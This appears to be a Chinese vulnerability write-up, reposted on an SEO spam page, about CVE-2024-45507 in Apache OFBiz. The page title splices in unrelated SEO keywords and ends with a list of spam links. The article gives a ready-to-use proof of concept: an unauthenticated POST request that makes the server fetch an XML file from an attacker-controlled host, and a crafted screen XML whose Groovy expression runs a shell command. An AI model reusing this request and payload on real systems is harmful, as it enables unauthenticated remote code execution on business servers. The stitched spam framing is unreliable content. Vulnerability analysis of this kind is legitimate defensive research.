当前位置: 首页 > news >正文

windows下搭建wordpress青岛seo网站推广

windows下搭建wordpress,青岛seo网站推广,大型门户网站建设多少钱,免费企业网站模板htmlApache OFBiz介绍 Apache OFBiz 是一个功能丰富的开源电子商务平台,包含完整的商业解决方案,适用于多种行业。它提供了一套全面的服务,包括客户关系管理(CRM)、企业资源规划(ERP)、订单管理、产…

Apache OFBiz介绍

Apache OFBiz 是一个功能丰富的开源电子商务平台,包含完整的商业解决方案,适用于多种行业。它提供了一套全面的服务,包括客户关系管理(CRM)、企业资源规划(ERP)、订单管理、产品目录、在线交易等。OFBiz提供了强大的 Java Web 框架、成熟的 CRM 和 ERP 功能,Apache OFBiz 的架构设计考虑了开发人员的便利性,它的灵活性和模块化设计使得它能够适应各种业务需求,无论是小型企业还是大型企业。Apache OFBiz 已经发展了超过10年,作为一个企业范围内的 ERP 解决方案,它已经显示出其稳定性和成熟性,通过使用 Apache OFBiz,企业可以实现高效的业务流程自动化,提高运营效率,降低成本。

漏洞背景

  近期,Apache Ofbiz团队发布了一则安全通知,宣布修补了一个存在于Apache Ofbiz软件中的严重安全漏洞,该漏洞被分配为CVE-2024-45507。由于Apache OFBiz在从Groovy加载文件时未对用户提交的数据进行过滤,未经身份验证的恶意攻击者通过服务器端请求伪造的方式向任意系统发起请求,加载远程恶意xml执行任意代码,从而获取目标服务器的控制权限,具体来说,攻击者可以构造一个恶意的 XML 文件,并通过 SSRF 攻击让 Apache OFBiz 的服务器加载并执行这个文件中的 Groovy 脚本。

漏洞分析

查看官方的修复代码如下:

https://github.com/apache/ofbiz-framework/commit/ffb1bc487983fa672ac4fbeccf7ed7175e2accd3

之前默认能接收远程文件来渲染screen。

比如该screen,screen 文件是 OFBiz 的一部分,用于定义屏幕布局。这段代码定义了一个名为 StatsSinceStart 的屏幕,用于展示统计信息。

在XML配置文件中,定义了一个名为`的标签,其 name`属性设置为 "StatsDecorator",而location属性则通过 ${parameters.statsDecoratorLocation} 动态获取。当Ofbiz解析这个XML文件时,它会根据指定的参数再次渲染该段代码。

之后再调用this.getLocation方法解析传入模板中的parameters参数。

在此场景中,可以通过URL传递一个参数来动态指定标签的 location 属性的值。getScreenFromLocation 方法中,会根据URL传递的参数来获取配置信息,并将其作为模板进行解析处理。

POC为:

POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
Host: server:8443
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
statsDecoratorLocation=http://vps /poc.xml

接收的URL将被视作一个模型屏幕(modelScreen)并进行解析,参照可以根据代码中的示例来构建一个概念验证包含命令的XML文件。

参考其语法,包含可执行命令的远程XMl文件构造如下:

<?xml version="1.0" encoding="UTF-8"?>
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd"><screen name="StatsDecorator"><section><actions><set value="${groovy:'touch /tmp/poc.execute();}"/></actions></section></screen>
</screens>

向ofbiz发送该POC请求。

之后查看服务器目录,成功执行了命令。

作者:罗晟

2024年9月27日

洞源实验室

http://www.shuangfujiaoyu.com/news/31269.html

相关文章:

  • 做盗版网站的广州新闻发布
  • 建筑公司企业宣传册清远seo
  • 免费做数据采集的网站百度站长工具网站提交
  • 广州比较好的网站建设哪家好系统优化app最新版
  • 建筑企业招聘网站万州网站建设
  • 黑客网站免费网站武汉网络推广公司排名
  • 做刷单的网站域名站长工具
  • 视频类网站如何做缓存免费的关键词挖掘工具
  • 建德网站宁波企业网站seo
  • 西宁个人网站建设淘宝怎么提高关键词搜索排名
  • 天津网站营销seo电话西安抖音seo
  • 网页网站怎么做的新闻今天
  • 设计师都上什么网站搜索引擎优化规则
  • 做课件最好的素材网站网站制作费用多少
  • 做百度手机网站优化快seo排名优化软件有
  • 做ppt好的模板下载网站有哪些it培训机构靠谱吗
  • 提高网站权重实时新闻
  • 外贸b2c平台都有哪些网站企业网络营销策略案例
  • 网站程序开发要点营销推广策略
  • 烟台莱州网站建设云南网络营销公司哪家好
  • 何苦做游戏网站北京网站建设开发公司
  • 六安住房和城乡建设部网站宁波seo网络推广渠道介绍
  • 香港空间送网站百度的网站
  • 公司网站制作多少钱百度网址提交
  • 物流网站建设策划书的总结做网站推广
  • 西安网站建设云李天津优化公司哪家好
  • 咸阳市城乡建设规划局网站百度推广app下载官方
  • 长春网络推广小技巧seo专员工作内容
  • 做一个公司的网站应做哪些准备工作内容sem技术培训
  • 诚信通开了网站谁给做今日百度关键词排名